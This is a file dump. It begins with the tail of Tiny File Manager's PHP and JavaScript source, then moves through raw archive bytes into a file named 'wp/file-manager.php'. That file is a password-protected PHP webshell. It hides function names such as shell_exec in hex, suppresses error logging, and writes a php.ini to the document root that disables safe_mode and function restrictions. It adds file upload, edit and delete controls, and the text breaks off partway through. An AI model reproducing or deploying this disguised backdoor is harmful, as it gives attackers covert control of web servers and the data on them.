                                <button type="submit" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0" data-bs-dismiss="modal"><strong><?php echo lng('Okay') ?></strong></button>
                            </div>
                        </form>
                    </div>
                </div>
            </script>
        <?php
    }

    /**
     * Show page footer after login
     */
    function fm_show_footer()
    {
        ?>
        </div>
        <?php print_external('js-jquery'); ?>
        <?php print_external('js-bootstrap'); ?>
        <?php print_external('js-jquery-datatables'); ?>
        <?php if (FM_USE_HIGHLIGHTJS && isset($_GET['view'])): ?>
            <?php print_external('js-highlightjs'); ?>
            <script>
                hljs.highlightAll();
                var isHighlightingEnabled = true;
            </script>
        <?php endif; ?>
        <script>
            function template(html, options) {
                var re = /<\%([^\%>]+)?\%>/g,
                    reExp = /(^( )?(if|for|else|switch|case|break|{|}))(.*)?/g,
                    code = 'var r=[];\n',
                    cursor = 0,
                    match;
                var add = function(line, js) {
                    js ? (code += line.match(reExp) ? line + '\n' : 'r.push(' + line + ');\n') : (code += line != '' ? 'r.push("' + line.replace(/"/g, '\\"') + '");\n' : '');
                    return add
                }
                while (match = re.exec(html)) {
                    add(html.slice(cursor, match.index))(match[1], !0);
                    cursor = match.index + match[0].length
                }
                add(html.substr(cursor, html.length - cursor));
                code += 'return r.join("");';
                return new Function(code.replace(/[\r\t\n]/g, '')).apply(options)
            }

            function rename(e, t) {
                if (t) {
                    $("#js-rename-from").val(t);
                    $("#js-rename-to").val(t);
                    $("#renameDailog").modal('show');
                }
            }

            function change_checkboxes(e, t) {
                for (var n = e.length - 1; n >= 0; n--) e[n].checked = "boolean" == typeof t ? t : !e[n].checked
            }

            function get_checkboxes() {
                for (var e = document.getElementsByName("file[]"), t = [], n = e.length - 1; n >= 0; n--)(e[n].type = "checkbox") && t.push(e[n]);
                return t
            }

            function select_all() {
                change_checkboxes(get_checkboxes(), !0)
            }

            function unselect_all() {
                change_checkboxes(get_checkboxes(), !1)
            }

            function invert_all() {
                change_checkboxes(get_checkboxes())
            }

            function checkbox_toggle() {
                var e = get_checkboxes();
                e.push(this), change_checkboxes(e)
            }

            // Create file backup with .bck
            function backup(e, t) {
                var n = new XMLHttpRequest,
                    a = "path=" + e + "&file=" + t + "&token=" + window.csrf + "&type=backup&ajax=true";
                return n.open("POST", "", !0), n.setRequestHeader("Content-type", "application/x-www-form-urlencoded"), n.onreadystatechange = function() {
                    4 == n.readyState && 200 == n.status && toast(n.responseText)
                }, n.send(a), !1
            }

            // Toast message
            function toast(txt) {
                var x = document.getElementById("snackbar");
                x.innerHTML = txt;
                x.className = "show";
                setTimeout(function() {
                    x.className = x.className.replace("show", "");
                }, 3000);
            }

            // Save file
            function edit_save(e, t) {
                var n = "ace" == t ? editor.getSession().getValue() : document.getElementById("normal-editor").value;
                if (typeof n !== 'undefined' && n !== null) {
                    if (true) {
                        var data = {
                            ajax: true,
                            content: n,
                            type: 'save',
                            token: window.csrf
                        };

                        $.ajax({
                            type: "POST",
                            url: window.location,
                            data: JSON.stringify(data),
                            contentType: "application/json; charset=utf-8",
                            success: function(mes) {
                                toast("Saved Successfully");
                                window.onbeforeunload = function() {
                                    return
                                }
                            },
                            failure: function(mes) {
                                toast("Error: try again");
                            },
                            error: function(mes) {
                                toast(`<p style="background-color:red">${mes.responseText}</p>`);
                            }
                        });
                    } else {
                        var a = document.createElement("form");
                        a.setAttribute("method", "POST"), a.setAttribute("action", "");
                        var o = document.createElement("textarea");
                        o.setAttribute("type", "textarea"), o.setAttribute("name", "savedata");
                        let cx = document.createElement("input");
                        cx.setAttribute("type", "hidden");
                        cx.setAttribute("name", "token");
                        cx.setAttribute("value", window.csrf);
                        var c = document.createTextNode(n);
                        o.appendChild(c), a.appendChild(o), a.appendChild(cx), document.body.appendChild(a), a.submit()
                    }
                }
            }

            function show_new_pwd() {
                $(".js-new-pwd").toggleClass('hidden');
            }

            // Save Settings
            function save_settings($this) {
                let form = $($this);
                $.ajax({
                    type: form.attr('method'),
                    url: form.attr('action'),
                    data: form.serialize() + "&token=" + window.csrf + "&ajax=" + true,
                    success: function(data) {
                        if (data) {
                            window.location.reload();
                        }
                    }
                });
                return false;
            }

            //Create new password hash
            function new_password_hash($this) {
                let form = $($this),
                    $pwd = $("#js-pwd-result");
                $pwd.val('');
                $.ajax({
                    type: form.attr('method'),
                    url: form.attr('action'),
                    data: form.serialize() + "&token=" + window.csrf + "&ajax=" + true,
                    success: function(data) {
                        if (data) {
                            $pwd.val(data);
                        }
                    }
                });
                return false;
            }

            // Upload files using URL @param {Object}
            function upload_from_url($this) {
                let form = $($this),
                    resultWrapper = $("div#js-url-upload__list");
                $.ajax({
                    type: form.attr('method'),
                    url: form.attr('action'),
                    data: form.serialize() + "&token=" + window.csrf + "&ajax=" + true,
                    beforeSend: function() {
                        form.find("input[name=uploadurl]").attr("disabled", "disabled");
                        form.find("button").hide();
                        form.find(".lds-facebook").addClass('show-me');
                    },
                    success: function(data) {
                        if (data) {
                            data = JSON.parse(data);
                            if (data.done) {
                                resultWrapper.append('<div class="alert alert-success row">Uploaded Successful: ' + data.done.name + '</div>');
                                form.find("input[name=uploadurl]").val('');
                            } else if (data['fail']) {
                                resultWrapper.append('<div class="alert alert-danger row">Error: ' + data.fail.message + '</div>');
                            }
                            form.find("input[name=uploadurl]").removeAttr("disabled");
                            form.find("button").show();
                            form.find(".lds-facebook").removeClass('show-me');
                        }
                    },
                    error: function(xhr) {
                        form.find("input[name=uploadurl]").removeAttr("disabled");
                        form.find("button").show();
                        form.find(".lds-facebook").removeClass('show-me');
                        console.error(xhr);
                    }
                });
                return false;
            }

            // Search template
            function search_template(data) {
                var response = "";
                $.each(data, function(key, val) {
                    response += `<li><a href="?p=${val.path}&view=${val.name}">${val.path}/${val.name}</a></li>`;
                });
                return response;
            }

            // Advance search
            function fm_search() {
                var searchTxt = $("input#advanced-search").val(),
                    searchWrapper = $("ul#search-wrapper"),
                    path = $("#js-search-modal").attr("href"),
                    _html = "",
                    $loader = $("div.lds-facebook");
                if (!!searchTxt && searchTxt.length > 2 && path) {
                    var data = {
                        ajax: true,
                        content: searchTxt,
                        path: path,
                        type: 'search',
                        token: window.csrf
                    };
                    $.ajax({
                        type: "POST",
                        url: window.location,
                        data: data,
                        beforeSend: function() {
                            searchWrapper.html('');
                            $loader.addClass('show-me');
                        },
                        success: function(data) {
                            $loader.removeClass('show-me');
                            data = JSON.parse(data);
                            if (data && data.length) {
                                _html = search_template(data);
                                searchWrapper.html(_html);
                            } else {
                                searchWrapper.html('<p class="m-2">No result found!<p>');
                            }
                        },
                        error: function(xhr) {
                            $loader.removeClass('show-me');
                            searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>');
                        },
                        failure: function(mes) {
                            $loader.removeClass('show-me');
                            searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>');
                        }
                    });
                } else {
                    searchWrapper.html("OOPS: minimum 3 characters required!");
                }
            }

            // action confirm dailog modal
            function confirmDailog(e, id = 0, title = "Action", content = "", action = null) {
                e.preventDefault();
                const tplObj = {
                    id,
                    title,
                    content: decodeURIComponent(content.replace(/\+/g, ' ')),
                    action
                };
                let tpl = $("#js-tpl-confirm").html();
                $(".modal.confirmDailog").remove();
                $('#wrapper').append(template(tpl, tplObj));
                const $confirmDailog = $("#confirmDailog-" + tplObj.id);
                $confirmDailog.modal('show');
                return false;
            }

            // on mouse hover image preview
            ! function(s) {
                s.previewImage = function(e) {
                    var o = s(document),
                        t = ".previewImage",
                        a = s.extend({
                            xOffset: 20,
                            yOffset: -20,
                            fadeIn: "fast",
                            css: {
                                padding: "5px",
                                border: "1px solid #cccccc",
                                "background-color": "#fff"
                            },
                            eventSelector: "[data-preview-image]",
                            dataKey: "previewImage",
                            overlayId: "preview-image-plugin-overlay"
                        }, e);
                    return o.off(t), o.on("mouseover" + t, a.eventSelector, function(e) {
                        s("p#" + a.overlayId).remove();
                        var o = s("<p>").attr("id", a.overlayId).css("position", "absolute").css("display", "none").append(s('<img class="c-preview-img">').attr("src", s(this).data(a.dataKey)));
                        a.css && o.css(a.css), s("body").append(o), o.css("top", e.pageY + a.yOffset + "px").css("left", e.pageX + a.xOffset + "px").fadeIn(a.fadeIn)
                    }), o.on("mouseout" + t, a.eventSelector, function() {
                        s("#" + a.overlayId).remove()
                    }), o.on("mousemove" + t, a.eventSelector, function(e) {
                        s("#" + a.overlayId).css("top", e.pageY + a.yOffset + "px").css("left", e.pageX + a.xOffset + "px")
                    }), this
                }, s.previewImage()
            }(jQuery);

            // Dom Ready Events
            $(document).ready(function() {
                // dataTable init
                var $table = $('#main-table'),
                    tableLng = $table.find('th').length,
                    _targets = (tableLng && tableLng == 7) ? [0, 4, 5, 6] : tableLng == 5 ? [0, 4] : [3];
                mainTable = $('#main-table').DataTable({
                    paging: false,
                    info: false,
                    order: [],
                    columnDefs: [{
                        targets: _targets,
                        orderable: false
                    }]
                });

                // filter table
                $('#search-addon').on('keyup', function() {
                    mainTable.search(this.value).draw();
                });

                $("input#advanced-search").on('keyup', function(e) {
                    if (e.keyCode === 13) {
                        fm_search();
                    }
                });

                $('#search-addon3').on('click', function() {
                    fm_search();
                });

                //upload nav tabs
                $(".fm-upload-wrapper .card-header-tabs").on("click", 'a', function(e) {
                    e.preventDefault();
                    let target = $(this).data('target');
                    $(".fm-upload-wrapper .card-header-tabs a").removeClass('active');
                    $(this).addClass('active');
                    $(".fm-upload-wrapper .card-tabs-container").addClass('hidden');
                    $(target).removeClass('hidden');
                });
            });
        </script>

        <?php if (isset($_GET['edit']) && isset($_GET['env']) && FM_EDIT_FILE && !FM_READONLY):
            $ext = pathinfo($_GET["edit"], PATHINFO_EXTENSION);
            $ext =  $ext == "js" ? "javascript" :  $ext;
        ?>
            <?php print_external('js-ace'); ?>
            <script>
                var editor = ace.edit("editor");
                editor.getSession().setMode({
                    path: "ace/mode/<?php echo $ext; ?>",
                    inline: true
                });
                //editor.setTheme("ace/theme/twilight"); // Dark Theme
                editor.setShowPrintMargin(false); // Hide the vertical ruler
                function ace_commend(cmd) {
                    editor.commands.exec(cmd, editor);
                }
                editor.commands.addCommands([{
                    name: 'save',
                    bindKey: {
                        win: 'Ctrl-S',
                        mac: 'Command-S'
                    },
                    exec: function(editor) {
                        edit_save(this, 'ace');
                    }
                }]);

                function renderThemeMode() {
                    var $modeEl = $("select#js-ace-mode"),
                        $themeEl = $("select#js-ace-theme"),
                        $fontSizeEl = $("select#js-ace-fontSize"),
                        optionNode = function(type, arr) {
                            var $Option = "";
                            $.each(arr, function(i, val) {
                                $Option += "<option value='" + type + i + "'>" + val + "</option>";
                            });
                            return $Option;
                        },
                        _data = {
                            "aceTheme": {
                                "bright": {
                                    "chrome": "Chrome",
                                    "clouds": "Clouds",
                                    "crimson_editor": "Crimson Editor",
                                    "dawn": "Dawn",
                                    "dreamweaver": "Dreamweaver",
                                    "eclipse": "Eclipse",
                                    "github": "GitHub",
                                    "iplastic": "IPlastic",
                                    "solarized_light": "Solarized Light",
                                    "textmate": "TextMate",
                                    "tomorrow": "Tomorrow",
                                    "xcode": "XCode",
                                    "kuroir": "Kuroir",
                                    "katzenmilch": "KatzenMilch",
                                    "sqlserver": "SQL Server"
                                },
                                "dark": {
                                    "ambiance": "Ambiance",
                                    "chaos": "Chaos",
                                    "clouds_midnight": "Clouds Midnight",
                                    "dracula": "Dracula",
                                    "cobalt": "Cobalt",
                                    "gruvbox": "Gruvbox",
                                    "gob": "Green on Black",
                                    "idle_fingers": "idle Fingers",
                                    "kr_theme": "krTheme",
                                    "merbivore": "Merbivore",
                                    "merbivore_soft": "Merbivore Soft",
                                    "mono_industrial": "Mono Industrial",
                                    "monokai": "Monokai",
                                    "pastel_on_dark": "Pastel on dark",
                                    "solarized_dark": "Solarized Dark",
                                    "terminal": "Terminal",
                                    "tomorrow_night": "Tomorrow Night",
                                    "tomorrow_night_blue": "Tomorrow Night Blue",
                                    "tomorrow_night_bright": "Tomorrow Night Bright",
                                    "tomorrow_night_eighties": "Tomorrow Night 80s",
                                    "twilight": "Twilight",
                                    "vibrant_ink": "Vibrant Ink"
                                }
                            },
                            "aceMode": {
                                "javascript": "JavaScript",
                                "abap": "ABAP",
                                "abc": "ABC",
                                "actionscript": "ActionScript",
                                "ada": "ADA",
                                "apache_conf": "Apache Conf",
                                "asciidoc": "AsciiDoc",
                                "asl": "ASL",
                                "assembly_x86": "Assembly x86",
                                "autohotkey": "AutoHotKey",
                                "apex": "Apex",
                                "batchfile": "BatchFile",
                                "bro": "Bro",
                                "c_cpp": "C and C++",
                                "c9search": "C9Search",
                                "cirru": "Cirru",
                                "clojure": "Clojure",
                                "cobol": "Cobol",
                                "coffee": "CoffeeScript",
                                "coldfusion": "ColdFusion",
                                "csharp": "C#",
                                "csound_document": "Csound Document",
                                "csound_orchestra": "Csound",
                                "csound_score": "Csound Score",
                                "css": "CSS",
                                "curly": "Curly",
                                "d": "D",
                                "dart": "Dart",
                                "diff": "Diff",
                                "dockerfile": "Dockerfile",
                                "dot": "Dot",
                                "drools": "Drools",
                                "edifact": "Edifact",
                                "eiffel": "Eiffel",
                                "ejs": "EJS",
                                "elixir": "Elixir",
                                "elm": "Elm",
                                "erlang": "Erlang",
                                "forth": "Forth",
                                "fortran": "Fortran",
                                "fsharp": "FSharp",
                                "fsl": "FSL",
                                "ftl": "FreeMarker",
                                "gcode": "Gcode",
                                "gherkin": "Gherkin",
                                "gitignore": "Gitignore",
                                "glsl": "Glsl",
                                "gobstones": "Gobstones",
                                "golang": "Go",
                                "graphqlschema": "GraphQLSchema",
                                "groovy": "Groovy",
                                "haml": "HAML",
                                "handlebars": "Handlebars",
                                "haskell": "Haskell",
                                "haskell_cabal": "Haskell Cabal",
                                "haxe": "haXe",
                                "hjson": "Hjson",
                                "html": "HTML",
                                "html_elixir": "HTML (Elixir)",
                                "html_ruby": "HTML (Ruby)",
                                "ini": "INI",
                                "io": "Io",
                                "jack": "Jack",
                                "jade": "Jade",
                                "java": "Java",
                                "json": "JSON",
                                "jsoniq": "JSONiq",
                                "jsp": "JSP",
                                "jssm": "JSSM",
                                "jsx": "JSX",
                                "julia": "Julia",
                                "kotlin": "Kotlin",
                                "latex": "LaTeX",
                                "less": "LESS",
                                "liquid": "Liquid",
                                "lisp": "Lisp",
                                "livescript": "LiveScript",
                                "logiql": "LogiQL",
                                "lsl": "LSL",
                                "lua": "Lua",
                                "luapage": "LuaPage",
                                "lucene": "Lucene",
                                "makefile": "Makefile",
                                "markdown": "Markdown",
                                "mask": "Mask",
                                "matlab": "MATLAB",
                                "maze": "Maze",
                                "mel": "MEL",
                                "mixal": "MIXAL",
                                "mushcode": "MUSHCode",
                                "mysql": "MySQL",
                                "nix": "Nix",
                                "nsis": "NSIS",
                                "objectivec": "Objective-C",
                                "ocaml": "OCaml",
                                "pascal": "Pascal",
                                "perl": "Perl",
                                "perl6": "Perl 6",
                                "pgsql": "pgSQL",
                                "php_laravel_blade": "PHP (Blade Template)",
                                "php": "PHP",
                                "puppet": "Puppet",
                                "pig": "Pig",
                                "powershell": "Powershell",
                                "praat": "Praat",
                                "prolog": "Prolog",
                                "properties": "Properties",
                                "protobuf": "Protobuf",
                                "python": "Python",
                                "r": "R",
                                "razor": "Razor",
                                "rdoc": "RDoc",
                                "red": "Red",
                                "rhtml": "RHTML",
                                "rst": "RST",
                                "ruby": "Ruby",
                                "rust": "Rust",
                                "sass": "SASS",
                                "scad": "SCAD",
                                "scala": "Scala",
                                "scheme": "Scheme",
                                "scss": "SCSS",
                                "sh": "SH",
                                "sjs": "SJS",
                                "slim": "Slim",
                                "smarty": "Smarty",
                                "snippets": "snippets",
                                "soy_template": "Soy Template",
                                "space": "Space",
                                "sql": "SQL",
                                "sqlserver": "SQLServer",
                                "stylus": "Stylus",
                                "svg": "SVG",
                                "swift": "Swift",
                                "tcl": "Tcl",
                                "terraform": "Terraform",
                                "tex": "Tex",
                                "text": "Text",
                                "textile": "Textile",
                                "toml": "Toml",
                                "tsx": "TSX",
                                "twig": "Twig",
                                "typescript": "Typescript",
                                "vala": "Vala",
                                "vbscript": "VBScript",
                                "velocity": "Velocity",
                                "verilog": "Verilog",
                                "vhdl": "VHDL",
                                "visualforce": "Visualforce",
                                "wollok": "Wollok",
                                "xml": "XML",
                                "xquery": "XQuery",
                                "yaml": "YAML",
                                "django": "Django"
                            },
                            "fontSize": {
                                8: 8,
                                10: 10,
                                11: 11,
                                12: 12,
                                13: 13,
                                14: 14,
                                15: 15,
                                16: 16,
                                17: 17,
                                18: 18,
                                20: 20,
                                22: 22,
                                24: 24,
                                26: 26,
                                30: 30
                            }
                        };
                    if (_data && _data.aceMode) {
                        $modeEl.html(optionNode("ace/mode/", _data.aceMode));
                    }
                    if (_data && _data.aceTheme) {
                        var lightTheme = optionNode("ace/theme/", _data.aceTheme.bright),
                            darkTheme = optionNode("ace/theme/", _data.aceTheme.dark);
                        $themeEl.html("<optgroup label=\"Bright\">" + lightTheme + "</optgroup><optgroup label=\"Dark\">" + darkTheme + "</optgroup>");
                    }
                    if (_data && _data.fontSize) {
                        $fontSizeEl.html(optionNode("", _data.fontSize));
                    }
                    $modeEl.val(editor.getSession().$modeId);
                    $themeEl.val(editor.getTheme());
                    $(function() {
                        //set default font size in drop down
                        $fontSizeEl.val(12).change();
                    });
                }

                $(function() {
                    renderThemeMode();
                    $(".js-ace-toolbar").on("click", 'button', function(e) {
                        e.preventDefault();
                        let cmdValue = $(this).attr("data-cmd"),
                            editorOption = $(this).attr("data-option");
                        if (cmdValue && cmdValue != "none") {
                            ace_commend(cmdValue);
                        } else if (editorOption) {
                            if (editorOption == "fullscreen") {
                                (void 0 !== document.fullScreenElement && null === document.fullScreenElement || void 0 !== document.msFullscreenElement && null === document.msFullscreenElement || void 0 !== document.mozFullScreen && !document.mozFullScreen || void 0 !== document.webkitIsFullScreen && !document.webkitIsFullScreen) &&
                                (editor.container.requestFullScreen ? editor.container.requestFullScreen() : editor.container.mozRequestFullScreen ? editor.container.mozRequestFullScreen() : editor.container.webkitRequestFullScreen ? editor.container.webkitRequestFullScreen(Element.ALLOW_KEYBOARD_INPUT) : editor.container.msRequestFullscreen && editor.container.msRequestFullscreen());
                            } else if (editorOption == "wrap") {
                                let wrapStatus = (editor.getSession().getUseWrapMode()) ? false : true;
                                editor.getSession().setUseWrapMode(wrapStatus);
                            }
                        }
                    });

                    $("select#js-ace-mode, select#js-ace-theme, select#js-ace-fontSize").on("change", function(e) {
                        e.preventDefault();
                        let selectedValue = $(this).val(),
                            selectionType = $(this).attr("data-type");
                        if (selectedValue && selectionType == "mode") {
                            editor.getSession().setMode(selectedValue);
                        } else if (selectedValue && selectionType == "theme") {
                            editor.setTheme(selectedValue);
                        } else if (selectedValue && selectionType == "fontSize") {
                            editor.setFontSize(parseInt(selectedValue));
                        }
                    });
                });
            </script>
        <?php endif; ?>
        <div id="snackbar"></div>
    </body>

    </html>
<?php
    }

    /**
     * Language Translation System
     * @param string $txt
     * @return string
     */
    function lng($txt)
    {
        global $lang;

        // English Language
        $tr['en']['AppName']        = 'Tiny File Manager';
        $tr['en']['AppTitle']       = 'File Manager';
        $tr['en']['Login']          = 'Sign in';
        $tr['en']['Username']       = 'Username';
        $tr['en']['Password']       = 'Password';
        $tr['en']['Logout']         = 'Sign Out';
        $tr['en']['Move']           = 'Move';
        $tr['en']['Copy']           = 'Copy';
        $tr['en']['Save']           = 'Save';
        $tr['en']['SelectAll']      = 'Select all';
        $tr['en']['UnSelectAll']    = 'Unselect all';
        $tr['en']['File']           = 'File';
        $tr['en']['Back']           = 'Back';
        $tr['en']['Size']           = 'Size';
        $tr['en']['Perms']          = 'Perms';
        $tr['en']['Modified']       = 'Modified';
        $tr['en']['Owner']          = 'Owner';
        $tr['en']['Search']         = 'Search';
        $tr['en']['NewItem']        = 'New Item';
        $tr['en']['Folder']         = 'Folder';
        $tr['en']['Delete']         = 'Delete';
        $tr['en']['Rename']         = 'Rename';
        $tr['en']['CopyTo']         = 'Copy to';
        $tr['en']['DirectLink']     = 'Direct link';
        $tr['en']['UploadingFiles'] = 'Upload Files';
        $tr['en']['ChangePermissions']  = 'Change Permissions';
        $tr['en']['Copying']        = 'Copying';
        $tr['en']['CreateNewItem']  = 'Create New Item';
        $tr['en']['Name']           = 'Name';
        $tr['en']['AdvancedEditor'] = 'Advanced Editor';
        $tr['en']['Actions']        = 'Actions';
        $tr['en']['Folder is empty'] = 'Folder is empty';
        $tr['en']['Upload']         = 'Upload';
        $tr['en']['Cancel']         = 'Cancel';
        $tr['en']['InvertSelection'] = 'Invert Selection';
        $tr['en']['DestinationFolder']  = 'Destination Folder';
        $tr['en']['ItemType']       = 'Item Type';
        $tr['en']['ItemName']       = 'Item Name';
        $tr['en']['CreateNow']      = 'Create Now';
        $tr['en']['Download']       = 'Download';
        $tr['en']['Open']           = 'Open';
        $tr['en']['UnZip']          = 'UnZip';
        $tr['en']['UnZipToFolder']  = 'UnZip to folder';
        $tr['en']['Edit']           = 'Edit';
        $tr['en']['NormalEditor']   = 'Normal Editor';
        $tr['en']['BackUp']         = 'Back Up';
        $tr['en']['SourceFolder']   = 'Source Folder';
        $tr['en']['Files']          = 'Files';
        $tr['en']['Move']           = 'Move';
        $tr['en']['Change']         = 'Change';
        $tr['en']['Settings']       = 'Settings';
        $tr['en']['Language']       = 'Language';
        $tr['en']['ErrorReporting'] = 'Error Reporting';
        $tr['en']['ShowHiddenFiles'] = 'Show Hidden Files';
        $tr['en']['Help']           = 'Help';
        $tr['en']['Created']        = 'Created';
        $tr['en']['Help Documents'] = 'Help Documents';
        $tr['en']['Report Issue']   = 'Report Issue';
        $tr['en']['Generate']       = 'Generate';
        $tr['en']['FullSize']       = 'Full Size';
        $tr['en']['HideColumns']    = 'Hide Perms/Owner columns';
        $tr['en']['You are logged in'] = 'You are logged in';
        $tr['en']['Nothing selected']  = 'Nothing selected';
        $tr['en']['Paths must be not equal']    = 'Paths must be not equal';
        $tr['en']['Renamed from']       = 'Renamed from';
        $tr['en']['Archive not unpacked'] = 'Archive not unpacked';
        $tr['en']['Deleted']            = 'Deleted';
        $tr['en']['Archive not created'] = 'Archive not created';
        $tr['en']['Copied from']        = 'Copied from';
        $tr['en']['Permissions changed'] = 'Permissions changed';
        $tr['en']['to']                 = 'to';
        $tr['en']['Saved Successfully'] = 'Saved Successfully';
        $tr['en']['not found!']         = 'not found!';
        $tr['en']['File Saved Successfully']    = 'File Saved Successfully';
        $tr['en']['Archive']            = 'Archive';
        $tr['en']['Permissions not changed']    = 'Permissions not changed';
        $tr['en']['Select folder']      = 'Select folder';
        $tr['en']['Source path not defined']    = 'Source path not defined';
        $tr['en']['already exists']     = 'already exists';
        $tr['en']['Error while moving from']    = 'Error while moving from';
        $tr['en']['Create archive?']    = 'Create archive?';
        $tr['en']['Invalid file or folder name']    = 'Invalid file or folder name';
        $tr['en']['Archive unpacked']   = 'Archive unpacked';
        $tr['en']['File extension is not allowed']  = 'File extension is not allowed';
        $tr['en']['Root path']          = 'Root path';
        $tr['en']['Error while renaming from']  = 'Error while renaming from';
        $tr['en']['File not found']     = 'File not found';
        $tr['en']['Error while deleting items'] = 'Error while deleting items';
        $tr['en']['Moved from']         = 'Moved from';
        $tr['en']['Generate new password hash'] = 'Generate new password hash';
        $tr['en']['Login failed. Invalid username or password'] = 'Login failed. Invalid username or password';
        $tr['en']['password_hash not supported, Upgrade PHP version'] = 'password_hash not supported, Upgrade PHP version';
        $tr['en']['Advanced Search']    = 'Advanced Search';
        $tr['en']['Error while copying from']    = 'Error while copying from';
        $tr['en']['Invalid characters in file name']                = 'Invalid characters in file name';
        $tr['en']['FILE EXTENSION HAS NOT SUPPORTED']               = 'FILE EXTENSION HAS NOT SUPPORTED';
        $tr['en']['Selected files and folder deleted']              = 'Selected files and folder deleted';
        $tr['en']['Error while fetching archive info']              = 'Error while fetching archive info';
        $tr['en']['Delete selected files and folders?']             = 'Delete selected files and folders?';
        $tr['en']['Search file in folder and subfolders...']        = 'Search file in folder and subfolders...';
        $tr['en']['Access denied. IP restriction applicable']       = 'Access denied. IP restriction applicable';
        $tr['en']['Invalid characters in file or folder name']      = 'Invalid characters in file or folder name';
        $tr['en']['Operations with archives are not available']     = 'Operations with archives are not available';
        $tr['en']['File or folder with this path already exists']   = 'File or folder with this path already exists';
        $tr['en']['Are you sure want to rename?']                   = 'Are you sure want to rename?';
        $tr['en']['Are you sure want to']                           = 'Are you sure want to';
        $tr['en']['Date Modified']                                  = 'Date Modified';
        $tr['en']['File size']                                      = 'File size';
        $tr['en']['MIME-type']                                      = 'MIME-type';

        $i18n = fm_get_translations($tr);
        $tr = $i18n ? $i18n : $tr;

        if (!strlen($lang)) $lang = 'en';
        if (isset($tr[$lang][$txt])) return fm_enc($tr[$lang][$txt]);
        else if (isset($tr['en'][$txt])) return fm_enc($tr['en'][$txt]);
        else return "$txt";
    }

?>
PK       ! D9V  9V    wp/file-manager.phpnu [        <?php

          /**
            * Responsive Webshell
          **/

$a =   [
        "7068705F756E616D65", # [0]
        "73657373696F6E5F7374617274", # [1]
        "6572726F725F7265706F7274696E67", # [2]
        "70687076657273696F6E", # [3]
        "66696C655F7075745F636F6E74656E7473", # [4]
        "66696C655F6765745F636F6E74656E7473", # [5]
        "66696C657065726D73", # [6]
        "66696C656D74696D65", # [7]
        "66696C6574797065", # [8]
        "68746D6C7370656369616C6368617273", # [9]
        "737072696E7466", # [10]
        "737562737472", # [11]
        "676574637764", # [12]
        "6368646972", # [13]
        "7374725F7265706C616365", # [14]
        "6578706C6F6465", # [15]
        "666C617368", # [16]
        "6D6F76655F75706C6F616465645F66696C65", # [17]
        "7363616E646972", # [18]
        "676574686F737462796E616D65", # [19]
        "7368656C6C5F65786563", # [20]
        "53797374656D20496E666F726D6174696F6E", # [21]
        "6469726E616D65", # [22]
        "64617465", # [23]
        "6D696D655F636F6E74656E745F74797065", # [24]
        "66756E6374696F6E5F657869737473", # [25]
        "6673697A65", # [26]
        "726D646972", # [27]
        "756E6C696E6B", # [28]
        "6D6B646972", # [29]
        "72656E616D65", # [30]
        "7365745F74696D655F6C696D6974", # [31]
        "636C656172737461746361636865", # [32]
        "696E695F736574", # [33]
        "696E695F676574", # [34]
        "6765744F776E6572", # [35]
        "6765745F63757272656E745F75736572" # [36]
    ];

for ($i = 0; $i < count($a); $i++) {
  $f[$i] = hex($a[$i]);
}

$f[1]();
$f[2](0);
$f[31](0);
@$f[32]();
@$f[33]('error_log', null);
@$f[33]('log_errors', 0);
@$f[33]('max_execution_time', 0);
@$f[33]('output_buffering', 0);
@$f[33]('display_errors', 0);

$password = "N@GAHitamDariT@D1";

if (!isset($_SESSION['authenticated'])) {
    if (isset($_POST['password'])) {
        if ($_POST['password'] === $password) {
            $_SESSION['authenticated'] = true;
        } else {
            echo '<!DOCTYPE html><html><head><title>Login</title><link href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/css/bootstrap.min.css" rel="stylesheet"></head><body class="bg-dark text-light"><div class="container"><div class="row justify-content-center mt-5"><div class="col-md-4"><div class="card bg-dark"><div class="card-body"><h4 class="text-center">Wrong Password</h4><form method="post"><div class="mb-3"><input type="password" name="password" class="form-control" placeholder="Password"></div><button type="submit" class="btn btn-outline-light w-100">Login</button></form></div></div></div></div></div></body></html>';
            exit;
        }
    } else {
        echo '<!DOCTYPE html><html><head><title>Login</title><link href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/css/bootstrap.min.css" rel="stylesheet"></head><body class="bg-dark text-light"><div class="container"><div class="row justify-content-center mt-5"><div class="col-md-4"><div class="card bg-dark"><div class="card-body"><h4 class="text-center">Enter Password</h4><form method="post"><div class="mb-3"><input type="password" name="password" class="form-control" placeholder="Password"></div><button type="submit" class="btn btn-outline-light w-100">Login</button></form></div></div></div></div></div></body></html>';
        exit;
    }
}

$r0 = $_SERVER['DOCUMENT_ROOT'];

# php.ini Auto Create
$b0 = fopen($r0.'/php.ini', 'w');
fwrite($b0, "safe_mode = OFF\ndisable_functions = NONE");
fclose($b0);

$xqv = ""; // blackdragon
  
# LogOut Option
if(isset($_GET["logout"])) {
  session_destroy();
  echo '<script>window.location="?";</script>';
}

function fsize($file) {
  $a = ["B", "KB", "MB", "GB", "TB", "PB"];
  $pos = 0;
  $size = filesize($file);
  while ($size >= 1024) {
    $size /= 1024;
    $pos++;
  }
  return round($size, 2)." ".$a[$pos];
}

function hex($str) {
  $r = "";
  $len = (strlen($str) - 1);
  for ($i = 0; $i < $len; $i += 2) {
    $r .= chr(hexdec($str[$i].$str[$i + 1]));
  }
  return $r;
}

function flash($message, $status, $class, $redirect = false) {
  if (!empty($_SESSION["message"])) {
    unset($_SESSION["message"]);
  }
  if (!empty($_SESSION["class"])) {
    unset($_SESSION["class"]);
  }
  if (!empty($_SESSION["status"])) {
    unset($_SESSION["status"]);
  }
  $_SESSION["message"] = $message;
  $_SESSION["class"] = $class;
  $_SESSION["status"] = $status;
  if ($redirect) {
    header('Location: ' . $redirect);
    exit();
  }
  return true;
}

function clear() {
  if (!empty($_SESSION["message"])) {
    unset($_SESSION["message"]);
  }
  if (!empty($_SESSION["class"])) {
    unset($_SESSION["class"]);
  }
  if (!empty($_SESSION["status"])) {
    unset($_SESSION["status"]);
  }
  return true;
}

if (isset($_GET['dir'])) {
  $path = $_GET['dir'];
  $f[13]($_GET['dir']);
} else {
  $path = $f[12]();
}

$path = $f[14]('\\', '/', $path);
$exdir = $f[15]('/', $path);

function getOwner($item) {
	if (function_exists("posix_getpwuid")) {
		$downer = @posix_getpwuid(fileowner($item));
		$downer = $downer['name'];
	} else {
		$downer = fileowner($item);
	}
	if (function_exists("posix_getgrgid")) {
		$dgrp = @posix_getgrgid(filegroup($item));
